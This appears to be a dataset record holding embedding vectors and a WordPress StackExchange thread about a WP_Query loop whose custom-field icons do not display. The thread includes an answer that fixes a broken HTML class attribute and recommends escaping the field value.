[ -0.00431060791015625, -0.0279541015625, -0.004787445068359375, -0.0345458984375, -0.01120758056640625, 0.0010328292846679688, 0.0215606689453125, 0.0184326171875, -0.019927978515625, 0.04327392578125, -0.021392822265625, -0.00656890869140625, 0.000048160552978515625, -0.00678253173828125, -0.01349639892578125, -0.037109375, 0.029449462890625, -0.01702880859375, 0.01146697998046875, 0.005794525146484375, 0.01412200927734375, 0.0270233154296875, -0.0014219284057617188, 0.033294677734375, 0.04986572265625, -0.06829833984375, 0.032257080078125, -0.0126190185546875, 0.038787841796875, -0.0219879150390625, 0.031524658203125, 0.00460052490234375, 0.036041259765625, -0.05010986328125, 0.047454833984375, 0.027069091796875, 0.04345703125, -0.0343017578125, 0.0162811279296875, 0.003780364990234375, 0.025360107421875, -0.0131378173828125, 0.0022258758544921875, 0.0166015625, -0.018035888671875, -0.0216827392578125, 0.0038394927978515625, -0.01424407958984375, -0.003894805908203125, 0.00421142578125, -0.01019287109375, 0.048553466796875, -0.00704193115234375, 0.001392364501953125, 0.00421142578125, 0.0004265308380126953, -0.03118896484375, 0.0284271240234375, 0.0123291015625, -0.033935546875, -0.00745391845703125, 0.01525115966796875, 0.0163421630859375, 0.03289794921875, -0.0230255126953125, 0.0257568359375, -0.030517578125, 0.0022296905517578125, -0.00774383544921875, -0.0151519775390625, -0.0017156600952148438, -0.022552490234375, 0.0216827392578125, 0.0206298828125, -0.0032806396484375, -0.05706787109375, -0.001720428466796875, -0.037384033203125, 0.03314208984375, 0.015655517578125, 0.018585205078125, -0.0058746337890625, -0.0164031982421875, -0.0235595703125, 0.03125, 0.01183319091796875, 0.00583648681640625, -0.0228729248046875, 0.01070404052734375, -0.044647216796875, -0.0113372802734375, 0.034149169921875, -0.03887939453125, 0.0208892822265625, -0.04266357421875, -0.0244140625, 0.02435302734375, -0.008819580078125, 0.0231781005859375, 0.025421142578125, 0.0285491943359375, -0.07574462890625, 0.07110595703125, -0.0260162353515625, 0.00415802001953125, -0.01140594482421875, 0.00824737548828125, 0.0000489354133605957, 0.01387786865234375, 0.027435302734375, -0.02178955078125, 0.01059722900390625, -0.0261993408203125, -0.050384521484375, -0.01006317138671875, 0.051605224609375, -0.01168060302734375, -0.0125579833984375, 0.01358795166015625, -0.01323699951171875, -0.0072784423828125, 0.013275146484375, 0.062225341796875, -0.0172271728515625, -0.007457733154296875, -0.00640106201171875, -0.01276397705078125, -0.06329345703125, 0.041046142578125, 0.0195770263671875, -0.0280914306640625, -0.0028553009033203125, 0.00675201416015625, 0.0024089813232421875, -0.00664520263671875, -0.01381683349609375, -0.002201080322265625, 0.004383087158203125, 0.0006208419799804688, 0.0038356781005859375, -0.00055694580078125, -0.0024394989013671875, 0.01161956787109375, -0.00026917457580566406, -0.0038280487060546875, -0.01457977294921875, -0.018218994140625, 0.020233154296875, 0.02642822265625, -0.00342559814453125, -0.01020050048828125, -0.03607177734375, -0.0302581787109375, 0.038116455078125, 0.07232666015625, 0.0167694091796875, 0.05126953125, -0.0200042724609375, 0.0224151611328125, 0.00505828857421875, 0.00890350341796875, -0.01235198974609375, -0.007007598876953125, 0.0157470703125, -0.02099609375, 0.024749755859375, 0.0084075927734375, 0.00260162353515625, 0.0294036865234375, 0.05035400390625, 0.006557464599609375, 0.00978851318359375, 0.036102294921875, 0.02276611328125, -0.00905609130859375, -0.005527496337890625, 0.00954437255859375, 0.053955078125, 0.038909912109375, -0.00609588623046875, -0.0290069580078125, -0.04632568359375, 0.1124267578125, -0.0457763671875, -0.043853759765625, 0.04974365234375, 0.001102447509765625, 0.061370849609375, -0.0089874267578125, 0.0175933837890625, 0.0092620849609375, 0.018096923828125, -0.04083251953125, 0.017059326171875, -0.0247039794921875, -0.02532958984375, 0.0227508544921875, 0.01107025146484375, -0.00939178466796875, -0.000013828277587890625, 0.0120391845703125, -0.005519866943359375, 0.0119476318359375, -0.0293731689453125, -0.021759033203125, -0.009735107421875, -0.0011854171752929688, 0.03485107421875, -0.053070068359375, 0.0242156982421875, 0.0181884765625, -0.0254058837890625, -0.003971099853515625, -0.01314544677734375, 0.03094482421875, 0.00698089599609375, -0.0165863037109375, 0.019775390625, -0.0177154541015625, 0.03704833984375, 0.003204345703125, -0.02130126953125, -0.0045928955078125, 0.00757598876953125, 0.02166748046875, 0.016143798828125, -0.017547607421875, -0.00830841064453125, 0.047698974609375, 0.0169830322265625, -0.0020160675048828125, -0.0035228729248046875, 0.0394287109375, 0.002689361572265625, -0.0238800048828125, 0.018218994140625, 0.037017822265625, -0.0653076171875, -0.00713348388671875, 0.042877197265625, 0.036895751953125, 0.0268096923828125, -0.0213623046875, -0.021392822265625, 0.0765380859375, -0.0201873779296875, -0.00553131103515625, -0.0157012939453125, -0.0224761962890625, 0.0246429443359375, 0.0256195068359375, 0.026702880859375, 0.004497528076171875, 0.0253448486328125, -0.01415252685546875, 0.039947509765625, -0.018829345703125, -0.006763458251953125, -0.03265380859375, 0.06451416015625, -0.034576416015625, -0.0223388671875, 0.04168701171875, -0.043548583984375, -0.031951904296875, 0.063720703125, -0.0135040283203125, 0.005542755126953125, -0.063232421875, 0.041046142578125, 0.043670654296875, 0.034759521484375, -0.0272369384765625, 0.042388916015625, 0.03985595703125, -0.032318115234375, -0.04766845703125, 0.012176513671875, -0.028076171875, 0.01264190673828125, 0.005970001220703125, 0.02886962890625, 0.06744384765625, 0.0029163360595703125, -0.00554656982421875, -0.060089111328125, 0.030487060546875, 0.0207366943359375, -0.05218505859375, -0.01123046875, -0.01326751708984375, 0.0780029296875, -0.0213775634765625, 0.0294647216796875, -0.00724029541015625, 0.020721435546875, 0.029815673828125, -0.0146484375, 0.028167724609375, 0.005611419677734375, 0.040557861328125, 0.050750732421875, -0.005771636962890625, 0.024658203125, 0.0008502006530761719, -0.03582763671875, -0.031097412109375, 0.004161834716796875, -0.0124053955078125, -0.0026149749755859375, -0.060028076171875, 0.07080078125, 0.0018491744995117188, -0.01422882080078125, 0.0003876686096191406, -0.0299224853515625, -0.0075225830078125, -0.0092315673828125, -0.09912109375, -0.0643310546875, 0.026611328125, -0.07879638671875, 0.002292633056640625, -0.018585205078125, -0.037445068359375, -0.0199737548828125, 0.0242919921875, -0.00589752197265625, -0.0245361328125, -0.0009946823120117188, -0.0312042236328125, -0.047088623046875, -0.0416259765625, 0.014373779296875, -0.0006208419799804688, 0.0099945068359375, 0.004039764404296875, -0.02398681640625, -0.01261138916015625, -0.00540924072265625, 0.049072265625, 0.01029205322265625, -0.0013036727905273438, 0.00644683837890625, -0.0299530029296875, 0.00830841064453125, -0.002063751220703125, 0.00408935546875, 0.03521728515625, 0.01236724853515625, -0.014556884765625, -0.0026493072509765625, 0.0291290283203125, -0.0150146484375, 0.050628662109375, 0.0037288665771484375, -0.043060302734375, 0.026458740234375, 0.053314208984375, -0.026275634765625, -0.0457763671875, -0.0377197265625, -0.05816650390625, 0.059600830078125, 0.032501220703125, 0.02105712890625, 0.008056640625, 0.009674072265625, 0.024444580078125, -0.005802154541015625, 0.011688232421875, -0.0202484130859375, 0.005397796630859375, 0.00682830810546875, 0.01678466796875, -0.0163116455078125, 0.05267333984375, 0.0010213851928710938, 0.048828125, 0.05279541015625, 0.035308837890625, 0.0185699462890625, 0.01479339599609375, -0.0084228515625, -0.0186920166015625, 0.031524658203125, 0.0106964111328125, 0.03851318359375, -0.0136260986328125, -0.031402587890625, -0.005039215087890625, 0.06842041015625, -0.0029621124267578125, -0.04339599609375, -0.003787994384765625, 0.0188446044921875, -0.012939453125, -0.0301513671875, -0.0009698867797851562, -0.013885498046875, -0.11865234375, 0.0142974853515625, -0.003406524658203125, -0.03009033203125, 0.0042877197265625, 0.006603240966796875, -0.057342529296875, -0.0526123046875, 0.053009033203125, -0.033905029296875, -0.010101318359375, 0.048248291015625, -0.01898193359375, 0.03021240234375, -0.0689697265625, 0.020050048828125, -0.026702880859375, -0.01389312744140625, 0.0198822021484375, 0.0350341796875, -0.025848388671875, 0.04791259765625, -0.049591064453125, 0.02154541015625, -0.0219268798828125, 0.055419921875, -0.00804901123046875, 0.0504150390625, -0.035491943359375, -0.0614013671875, -0.001636505126953125, -0.05059814453125, -0.0010509490966796875, -0.05950927734375, -0.052947998046875, -0.034027099609375, -0.0022144317626953125, 0.07269287109375, 0.011871337890625, -0.001705169677734375, -0.06134033203125, -0.0025310516357421875, 0.0531005859375, 0.0210723876953125, 0.002002716064453125, 0.03240966796875, 0.0057373046875, -0.0273590087890625, 0.044464111328125, 0.0229644775390625, -0.030426025390625, -0.00969696044921875, 0.023681640625, 0.024749755859375, -0.0411376953125, 0.047943115234375, -0.0175323486328125, 0.0240631103515625, -0.005550384521484375, 0.003902435302734375, -0.003387451171875, -0.01093292236328125, -0.0098876953125, -0.0005369186401367188, 0.01406097412109375, -0.0158843994140625, 0.004795074462890625, 0.01139068603515625, 0.02166748046875, -0.0157012939453125, 0.001842498779296875, 0.05059814453125, 0.0018815994262695312, -0.035308837890625, 0.0152740478515625, -0.016357421875, 0.0302886962890625, 0.0008687973022460938, 0.017486572265625, -0.041534423828125, -0.045623779296875, 0.019287109375, -0.028533935546875, 0.02838134765625, 0.027679443359375, -0.01248931884765625, 0.0263214111328125, -0.0189971923828125, -0.01132965087890625, -0.04913330078125, 0.006618499755859375, -0.014862060546875, 0.0275421142578125, -0.041656494140625, -0.005153656005859375, -0.053192138671875, -0.00878143310546875, 0.02008056640625, -0.0242462158203125, -0.047393798828125, -0.02166748046875, -0.039337158203125, 0.0116729736328125, 0.0400390625, -0.06341552734375, 0.04718017578125, 0.0504150390625, -0.0169677734375, 0.00921630859375, -0.10125732421875, 0.033233642578125, -0.052947998046875, 0.0008420944213867188, -0.017242431640625, 0.0006022453308105469, -0.0157623291015625, 0.07427978515625, -0.00339508056640625, 0.0338134765625, -0.01000213623046875, -0.022796630859375, -0.0396728515625, 0.0716552734375, 0.036956787109375, -0.068603515625, -0.0012197494506835938, 0.0249786376953125, 0.00321197509765625, -0.04052734375, -0.006988525390625, 0.0265960693359375, 0.037841796875, -0.03131103515625, -0.04266357421875, 0.01690673828125, -0.031707763671875, 0.00925445556640625, -0.00023651123046875, -0.008148193359375, -0.0173492431640625, 0.002597808837890625, 0.032867431640625, 0.020538330078125, -0.00833892822265625, -0.0164794921875, 0.02880859375, -0.023895263671875, 0.00005650520324707031, 0.0197601318359375, -0.0291748046875, 0.01348114013671875, 0.020263671875, -0.0248870849609375, -0.0546875, -0.0258941650390625, 0.042724609375, 0.0384521484375, -0.01523590087890625, -0.037841796875, 0.0121002197265625, -0.0027408599853515625, 0.054931640625, -0.01300811767578125, -0.056427001953125, -0.0158233642578125, 0.005710601806640625, 0.051971435546875, 0.033355712890625, -0.041534423828125, -0.01055908203125, -0.03363037109375, 0.0007691383361816406, 0.075927734375, 0.00853729248046875, 0.00711822509765625, -0.037750244140625, -0.013702392578125, 0.043121337890625, -0.01422119140625, 0.006954193115234375, -0.003894805908203125, 0.013214111328125, -0.01097869873046875, 0.0899658203125, -0.0139007568359375, 0.00853729248046875, -0.01386260986328125, 0.039764404296875, -0.009674072265625, -0.023834228515625, -0.0097808837890625, -0.0137481689453125, -0.0006561279296875, -0.022674560546875, -0.02679443359375, -0.0126495361328125, -0.006809234619140625, 0.031097412109375, 0.064208984375, -0.006000518798828125, -0.01357269287109375, -0.040283203125, 0.005519866943359375, -0.023193359375, 0.064453125, -0.0249481201171875, -0.043975830078125, 0.03973388671875, -0.0576171875, -0.030426025390625, -0.0018177032470703125, 0.001071929931640625, 0.06048583984375, -0.03643798828125, 0.045135498046875, 0.01849365234375, -0.032623291015625, 0.0206146240234375, 0.08233642578125, 0.014007568359375, 0.047882080078125, -0.003932952880859375, 0.007373809814453125, 0.037139892578125, 0.05767822265625, 0.003971099853515625, -0.045745849609375, 0.0496826171875, 0.009063720703125, -0.0284271240234375, 0.02593994140625, -0.03778076171875, 0.011077880859375, 0.00415802001953125, 0.048919677734375, -0.047821044921875, 0.01122283935546875, 0.004421234130859375, -0.0115966796875, 0.03387451171875, 0.0289764404296875, -0.0033855438232421875, 0.00919342041015625, 0.011871337890625, -0.05914306640625, 0.000835418701171875, 0.018646240234375, -0.0160980224609375, 0.02093505859375, 0.044464111328125, 0.0259857177734375, -0.02423095703125, -0.083251953125, -0.069580078125, 0.04620361328125, -0.053375244140625, -0.032012939453125, -0.033416748046875, 0.008209228515625, -0.0244903564453125, -0.04449462890625, 0.021728515625, -0.03253173828125, 0.042327880859375, 0.031494140625, 0.00943756103515625, 0.033935546875, 0.0264892578125, 0.01430511474609375, -0.0179443359375, -0.0168304443359375, -0.0178680419921875, 0.023773193359375, 0.003139495849609375, -0.01055908203125, 0.008819580078125, -0.01351165771484375, -0.015533447265625, -0.03802490234375, 0.0302886962890625, 0.0006175041198730469, 0.0222930908203125, -0.0052032470703125, 0.0039520263671875, -0.0243072509765625, 0.07293701171875, 0.02703857421875, -0.035491943359375, 0.0142364501953125, -0.0006995201110839844, 0.0018529891967773438, 0.0294647216796875, 0.006988525390625, -0.01024627685546875, -0.0003781318664550781, 0.01026153564453125, -0.07049560546875, 0.032562255859375, -0.01502227783203125, 0.0472412109375, 0.0107879638671875, 0.0051422119140625, 0.00043392181396484375, -0.0218963623046875, -0.035247802734375, 0.035614013671875, 0.0197296142578125, 0.038665771484375, -0.0626220703125, -0.0214996337890625, -0.0001609325408935547, 0.05108642578125, 0.05908203125, -0.01251220703125, -0.0228271484375, -0.02117919921875, 0.085205078125, 0.056610107421875, 0.0123138427734375, 0.0261688232421875, 0.0065765380859375, -0.0142822265625, 0.08892822265625, -0.05767822265625, 0.01617431640625, 0.00885009765625, 0.05059814453125, 0.0204315185546875, -0.01358795166015625, -0.03570556640625, 0.008087158203125, 0.0271148681640625, -0.00975799560546875, -0.00711822509765625, 0.0108795166015625, -0.0380859375, -0.024993896484375, 0.053680419921875, 0.0189056396484375, -0.0289154052734375, -0.013427734375, -0.03277587890625, 0.0445556640625, 0.0022640228271484375, 0.01142120361328125, -0.01715087890625, -0.00034618377685546875, 0.050811767578125, -0.01422119140625, -0.0189361572265625, 0.0274658203125, -0.0111846923828125, 0.0193939208984375, 0.01277923583984375, 0.020263671875, -0.00505828857421875, 0.00992584228515625, 0.045654296875, 0.01393890380859375, -0.0162353515625, -0.001705169677734375, 0.0127105712890625, -0.0202789306640625, 0.0030117034912109375, -0.0183258056640625, 0.01331329345703125, -0.056610107421875, -0.055419921875, -0.06903076171875, 0.0206451416015625, 0.051788330078125, 0.0643310546875, -0.00812530517578125, -0.0188446044921875, -0.10308837890625, -0.04248046875, -0.048095703125, 0.023193359375, 0.01837158203125, 0.0540771484375, 0.007350921630859375, 0.0894775390625, -0.0018815994262695312, -0.034423828125, -0.0055999755859375, 0.0305633544921875, -0.0133056640625, -0.0070343017578125, -0.0243072509765625, -0.0241546630859375, 0.00539398193359375, 0.03204345703125, 0.037445068359375, -0.00669097900390625, 0.0273590087890625, 0.017303466796875, -0.0198516845703125, -0.005321502685546875, 0.006649017333984375, -0.01428985595703125, 0.0650634765625, -0.024871826171875, 0.0733642578125, -0.002140045166015625, -0.0198516845703125, -0.072509765625, 0.03765869140625, 0.0230865478515625, -0.03631591796875, 0.04840087890625, -0.0089569091796875, 0.01016998291015625, 0.012939453125, -0.0264129638671875, 0.0015411376953125, -0.020111083984375, -0.0877685546875, 0.003673553466796875, -0.04315185546875, -0.015960693359375, -0.0128631591796875, 0.0190582275390625, -0.0270538330078125, 0.052154541015625, -0.00818634033203125, -0.01904296875, 0.0246124267578125, 0.0194549560546875, -0.01727294921875, 0.00720977783203125, 0.0216522216796875, -0.00606536865234375, -0.004550933837890625, 0.002147674560546875, 0.0009927749633789062, 0.00597381591796875, -0.00289154052734375, 0.082763671875, -0.0103759765625, -0.01161956787109375, 0.010223388671875, 0.00017130374908447266, 0.001476287841796875, 0.006488800048828125, 0.03173828125, -0.01486968994140625, -0.01959228515625, -0.0154266357421875, -0.0232391357421875, -0.00531768798828125, 0.04534912109375, -0.0111236572265625, -0.01508331298828125, -0.00577545166015625, 0.03741455078125, -0.0012950897216796875, 0.00787353515625, -0.0301666259765625, -0.06988525390625, -0.05804443359375, 0.0172119140625, -0.005435943603515625, 0.0186309814453125, -0.01363372802734375, 0.031646728515625, 0.0032501220703125, -0.0099334716796875, -0.00276947021484375, -0.00182342529296875, -0.005100250244140625, 0.042510986328125, -0.006816864013671875, -0.0180511474609375, 0.0197906494140625, -0.01229095458984375, 0.036590576171875, -0.0160369873046875, 0.0560302734375, -0.004993438720703125, -0.00943756103515625, 0.0236053466796875, 0.0230560302734375, 0.0222930908203125, -0.0126190185546875, 0.005779266357421875, 0.049774169921875, -0.0110931396484375, -0.027252197265625, -0.08074951171875, -0.030059814453125, -0.044036865234375, 0.01049041748046875, 0.028045654296875, 0.0060577392578125, -0.01068878173828125, -0.0101318359375, -0.01110076904296875, 0.0200042724609375, -0.01100921630859375, -0.00739288330078125, -0.035980224609375, -0.00209808349609375, 0.0548095703125, -0.0173492431640625, -0.0290679931640625, 0.0161590576171875, 0.00882720947265625, -0.041656494140625, 0.027587890625, -0.0259246826171875, -0.039947509765625, -0.0012798309326171875, 0.01488494873046875, 0.0352783203125, -0.031219482421875, -0.0308685302734375, -0.01329803466796875, 0.0255584716796875, 0.0300750732421875, 0.0097503662109375, -0.0291595458984375, 0.0237274169921875, 0.0159149169921875, -0.003292083740234375, -0.0845947265625, -0.0175628662109375, -0.06036376953125, 0.06109619140625, 0.0019359588623046875, -0.003917694091796875, 0.0196685791015625, -0.0295867919921875, -0.038360595703125, 0.1124267578125, -0.01427459716796875, -0.0052642822265625, -0.005893707275390625, 0.004299163818359375, -0.00103759765625, -0.01412200927734375, -0.009490966796875, -0.00821685791015625, -0.034423828125, 0.01020050048828125, 0.0028839111328125, 0.001068115234375, 0.0153350830078125, -0.01129150390625, -0.0140838623046875, 0.037445068359375, 0.033233642578125, -0.0092315673828125, 0.006771087646484375, -0.005889892578125, 0.01837158203125, 0.04425048828125, -0.024749755859375, -0.045654296875, 0.01519012451171875, -0.0205230712890625, 0.007144927978515625, -0.033538818359375, -0.0135498046875, -0.035369873046875, 0.040802001953125, 0.002437591552734375, 0.0081024169921875, 0.01091766357421875, -0.0160369873046875, 0.039154052734375, -0.042266845703125, -0.007350921630859375, 0.057037353515625, -0.09063720703125, -0.014984130859375, 0.0014905929565429688, 0.0090789794921875, 0.01160430908203125, 0.046295166015625, -0.02496337890625, -0.01511383056640625, 0.007106781005859375, -0.004436492919921875, -0.0982666015625, -0.0011606216430664062, 0.0020732879638671875, -0.009124755859375, 0.0141754150390625, -0.00997161865234375, 0.0119476318359375, 0.0105133056640625, 0.00946044921875, -0.005840301513671875, -0.016021728515625, 0.007495880126953125, 0.00937652587890625, 0.00569915771484375, 0.031005859375, 0.003055572509765625, -0.019744873046875, -0.02178955078125, -0.0085906982421875, -0.003276824951171875, -0.031982421875, -0.0094757080078125, 0.0269317626953125, 0.0121612548828125, 0.0899658203125, -0.00829315185546875, 0.01137542724609375, -0.0143280029296875, 0.039581298828125, -0.0079193115234375, 0.007568359375, 0.010223388671875, -0.0263824462890625, 0.024261474609375, 0.018218994140625, 0.0185394287109375, -0.01509857177734375, -0.0062255859375, 0.0239410400390625, -0.01129913330078125, 0.0035800933837890625 ]
35b5e5b693e5b346c35faecd709793fc2515d7d5
Wordpress Stackexchange Q: WP_Query to loop a Custom Field, Custom Post Types do not show I am using WP_Query to loop a Custom Field, Custom Post Type that shows 6 Menu Icons across 6 horizontal fields. The icons do not show on the page. My query code is: <?php $loop = new WP_Query( array( 'post_type' => 'course_feature', 'orderby', => 'post_id', 'order' => 'ASC')); ?> code to show loop: <?php while( $loop->have_posts() ) : $loop->the_post(); ?> <div class="col-sm-2"> <i class=<?php the_field('course_feature_icon'); ?>"</i> </div> <?php endwhile; ?> A: There's a missing opening quote and closing bracket on this line: <i class=<?php the_field('course_feature_icon'); ?>"</i> Needs to be: <i class="<?php the_field('course_feature_icon'); ?>"></i> That's all that's wrong with your code. It should then work assuming: * *You have a custom field, course_feature_icon, whose value is a valid CSS class. *You have the necessary CSS to add an icon based on that class. One last suggestion though. For safety you should escape the field value before outputting it as a class: <i class="<?php echo esc_attr( get_field('course_feature_icon') ); ?>"></i>
Q: WP_Query to loop a Custom Field, Custom Post Types do not show I am using WP_Query to loop a Custom Field, Custom Post Type that shows 6 Menu Icons across 6 horizontal fields. The icons do not show on the page. My query code is: <?php $loop = new WP_Query( array( 'post_type' => 'course_feature', 'orderby', => 'post_id', 'order' => 'ASC')); ?> code to show loop: <?php while( $loop->have_posts() ) : $loop->the_post(); ?> <div class="col-sm-2"> <i class=<?php the_field('course_feature_icon'); ?>"</i> </div> <?php endwhile; ?> A: There's a missing opening quote and closing bracket on this line: <i class=<?php the_field('course_feature_icon'); ?>"</i> Needs to be: <i class="<?php the_field('course_feature_icon'); ?>"></i> That's all that's wrong with your code. It should then work assuming: * *You have a custom field, course_feature_icon, whose value is a valid CSS class. *You have the necessary CSS to add an icon based on that class. One last suggestion though. For safety you should escape the field value before outputting it as a class: <i class="<?php echo esc_attr( get_field('course_feature_icon') ); ?>"></i> A: The icons still do not show. The course_features titles that appear beneath each icon shows, but the icons do not show. So, I have 6 columns of text, but the icons do not appear above the text. Not sure what to do … I tried the suggested edits. The icons do not show. I have them as a custom field group: course_feature_icon, field type: Radio button, choices: .ci ci-computer, and 5 additional names. (css icon sprite name).
wordpress
{ "language": "en", "length": 248, "provenance": "stackexchange_00019.jsonl.gz:487732", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/308656" }
[ 0.023773193359375, -0.0078277587890625, 0.0131683349609375, 0.0204315185546875, 0.018798828125, -0.03814697265625, 0.06402587890625, -0.049407958984375, -0.01468658447265625, -0.00185394287109375, -0.043548583984375, -0.01415252685546875, -0.08013916015625, -0.0274810791015625, -0.02789306640625, -0.084228515625, 0.0214080810546875, 0.01444244384765625, 0.0390625, 0.0072174072265625, 0.0168914794921875, 0.01154327392578125, 0.00859832763671875, -0.0008292198181152344, 0.0164947509765625, 0.00852203369140625, 0.053314208984375, -0.0117950439453125, -0.0016679763793945312, -0.011932373046875, 0.0170745849609375, -0.008209228515625, 0.025238037109375, 0.03253173828125, -0.023834228515625, 0.038116455078125, 0.060089111328125, -0.006683349609375, -0.0027065277099609375, 0.06494140625, 0.0228729248046875, -0.01023101806640625, 0.00009548664093017578, 0.0144195556640625, -0.03338623046875, -0.0042266845703125, 0.01081085205078125, -0.000004887580871582031, 0.01390838623046875, -0.0509033203125, -0.004901885986328125, 0.0170135498046875, 0.00843048095703125, -0.005374908447265625, 0.003246307373046875, 0.04327392578125, -0.040863037109375, -0.0289764404296875, 0.01611328125, 0.0282745361328125, 0.00908660888671875, -0.017181396484375, -0.002716064453125, -0.0227813720703125, -0.0025386810302734375, 0.008209228515625, 0.004497528076171875, 0.007518768310546875, -0.03167724609375, -0.02874755859375, 0.0208282470703125, -0.006351470947265625, -0.0024776458740234375, -0.015655517578125, -0.02410888671875, -0.01233673095703125, -0.0031108856201171875, -0.0496826171875, 0.009674072265625, 0.0101318359375, 0.004791259765625, 0.0258026123046875, -0.07586669921875, 0.007801055908203125, 0.008544921875, 0.014495849609375, -0.01557159423828125, -0.023040771484375, 0.01024627685546875, -0.052001953125, 0.0014276504516601562, -0.01617431640625, -0.0526123046875, 0.0006909370422363281, 0.01288604736328125, -0.07464599609375, 0.006000518798828125, 0.034454345703125, 0.0018930435180664062, 0.0199737548828125, 0.022674560546875, -0.0467529296875, 0.0345458984375, -0.04034423828125, 0.016754150390625, 0.038665771484375, -0.0025768280029296875, 0.038177490234375, 0.0504150390625, 0.0237579345703125, 0.0220947265625, 0.0131378173828125, -0.038970947265625, -0.0232696533203125, -0.0129241943359375, -0.00116729736328125, -0.055145263671875, -0.0021266937255859375, 0.006023406982421875, -0.042572021484375, 0.0182037353515625, 0.01261138916015625, 0.037628173828125, -0.0312347412109375, -0.0157318115234375, -0.024810791015625, -0.036529541015625, -0.035308837890625, 0.0033397674560546875, 0.04949951171875, -0.046661376953125, -0.01873779296875, 0.053192138671875, 0.037322998046875, 0.034210205078125, -0.0246124267578125, 0.023406982421875, -0.03778076171875, -0.022064208984375, 0.015655517578125, -0.0003631114959716797, -0.0026645660400390625, 0.0170135498046875, -0.0231170654296875, -0.01247406005859375, 0.004047393798828125, 0.017578125, 0.0179595947265625, -0.0261383056640625, -0.046051025390625, 0.002727508544921875, -0.00022232532501220703, 0.0297698974609375, 0.016021728515625, -0.021697998046875, 0.011566162109375, 0.0701904296875, -0.0469970703125, -0.0347900390625, -0.043304443359375, 0.00104522705078125, 0.004383087158203125, 0.03338623046875, -0.06475830078125, -0.049591064453125, -0.005523681640625, -0.04779052734375, -0.01227569580078125, 0.02581787109375, -0.004138946533203125, 0.016815185546875, -0.0115203857421875, 0.060699462890625, 0.00672149658203125, -0.0217132568359375, 0.0199432373046875, 0.0257110595703125, -0.00263214111328125, 0.0172576904296875, -0.0186614990234375, -0.04833984375, -0.05810546875, 0.040771484375, -0.05267333984375, -0.059173583984375, 0.01226043701171875, 0.0005636215209960938, 0.02386474609375, 0.033538818359375, -0.0013360977172851562, 0.043609619140625, 0.01108551025390625, -0.052947998046875, 0.0389404296875, -0.0020122528076171875, -0.0245208740234375, -0.02923583984375, -0.01068878173828125, -0.01386260986328125, -0.0115203857421875, -0.0221099853515625, 0.022247314453125, 0.017242431640625, -0.0093231201171875, -0.0290985107421875, 0.028656005859375, -0.01039886474609375, 0.047119140625, -0.01971435546875, 0.0273895263671875, 0.0280914306640625, 0.042755126953125, -0.046478271484375, 0.006923675537109375, -0.00524139404296875, 0.005336761474609375, -0.015106201171875, -0.01410675048828125, -0.025543212890625, -0.0209197998046875, -0.017913818359375, -0.050079345703125, -0.032379150390625, 0.011932373046875, 0.01715087890625, -0.0014123916625976562, -0.00588226318359375, 0.004405975341796875, 0.05291748046875, 0.01349639892578125, 0.031280517578125, -0.0240936279296875, 0.01277923583984375, -0.019561767578125, -0.064453125, 0.0007658004760742188, -0.01232147216796875, -0.04290771484375, -0.0113983154296875, 0.0528564453125, 0.028961181640625, 0.0252227783203125, -0.008758544921875, -0.006183624267578125, 0.031890869140625, -0.005756378173828125, 0.034210205078125, -0.03778076171875, -0.05364990234375, -0.01959228515625, 0.0297393798828125, 0.035186767578125, 0.0158538818359375, 0.012237548828125, 0.0180206298828125, 0.0244293212890625, -0.0158233642578125, 0.00894927978515625, -0.00980377197265625, -0.00569915771484375, -0.00008195638656616211, -0.01568603515625, -0.009002685546875, -0.01514434814453125, 0.0087432861328125, 0.04229736328125, 0.03204345703125, 0.0205535888671875, -0.03204345703125, 0.0306243896484375, 0.01094818115234375, 0.00847625732421875, 0.0035648345947265625, -0.02001953125, -0.07928466796875, 0.017669677734375, 0.003833770751953125, 0.0230560302734375, -0.0027923583984375, -0.036834716796875, 0.0138702392578125, 0.0131072998046875, 0.0008840560913085938, -0.0036334991455078125, -0.0002543926239013672, -0.05743408203125, 0.015167236328125, 0.0321044921875, 0.0190582275390625, -0.0000699758529663086, 0.008209228515625, 0.038787841796875, -0.007415771484375, 0.045257568359375, -0.0016727447509765625, -0.0100250244140625, -0.0220184326171875, -0.015716552734375, 0.027008056640625, -0.0263671875, -0.01080322265625, 0.046630859375, -0.00910186767578125, -0.0019330978393554688, -0.007358551025390625, -0.0259246826171875, -0.04364013671875, 0.0504150390625, 0.007537841796875, -0.0753173828125, -0.0014829635620117188, 0.0288543701171875, 0.0594482421875, 0.07818603515625, 0.0360107421875, -0.0283355712890625, 0.033905029296875, 0.070068359375, -0.052337646484375, -0.11346435546875, 0.034637451171875, -0.041839599609375, 0.003643035888671875, -0.02459716796875, -0.0115966796875, -0.007221221923828125, -0.02294921875, 0.0036869049072265625, -0.019866943359375, 0.0309600830078125, -0.04833984375, -0.0219879150390625, -0.058074951171875, 0.0234527587890625, -0.00878143310546875, 0.033294677734375, 0.016998291015625, 0.026458740234375, 0.0105133056640625, -0.00795745849609375, 0.037689208984375, 0.025970458984375, -0.01108551025390625, 0.01788330078125, 0.031585693359375, -0.02081298828125, -0.042755126953125, 0.0119476318359375, -0.005649566650390625, 0.006099700927734375, -0.01401519775390625, -0.0289154052734375, -0.0184783935546875, 0.01032257080078125, 0.024810791015625, -0.004024505615234375, 0.0123748779296875, 0.05999755859375, 0.044464111328125, -0.01322174072265625, -0.033843994140625, -0.0081634521484375, -0.01508331298828125, 0.059844970703125, 0.00441741943359375, -0.00969696044921875, -0.029541015625, 0.06732177734375, -0.0313720703125, -0.03070068359375, -0.027557373046875, -0.053924560546875, 0.07684326171875, 0.017303466796875, 0.01458740234375, 0.0139923095703125, 0.018157958984375, 0.000598907470703125, 0.0299224853515625, 0.0188446044921875, 0.039398193359375, -0.01218414306640625, 0.0321044921875, -0.0728759765625, -0.0296173095703125, 0.0211944580078125, -0.00476837158203125, 0.01995849609375, 0.0066680908203125, -0.015380859375, 0.006626129150390625, 0.06610107421875, -0.07366943359375, -0.016448974609375, -0.002094268798828125, 0.0159149169921875, -0.010284423828125, -0.04180908203125, -0.0306854248046875, -0.0044403076171875, -0.1361083984375, 0.01519012451171875, -0.00799560546875, -0.05023193359375, 0.0091094970703125, -0.0372314453125, -0.08209228515625, -0.052490234375, 0.03216552734375, -0.0266571044921875, 0.0110626220703125, 0.01910400390625, -0.01255035400390625, 0.0018644332885742188, -0.0279998779296875, -0.017791748046875, -0.1361083984375, -0.0264434814453125, -0.00577545166015625, 0.09686279296875, -0.0086669921875, -0.00406646728515625, -0.032135009765625, 0.08154296875, 0.025726318359375, 0.0240936279296875, -0.00482940673828125, 0.0029430389404296875, -0.0328369140625, 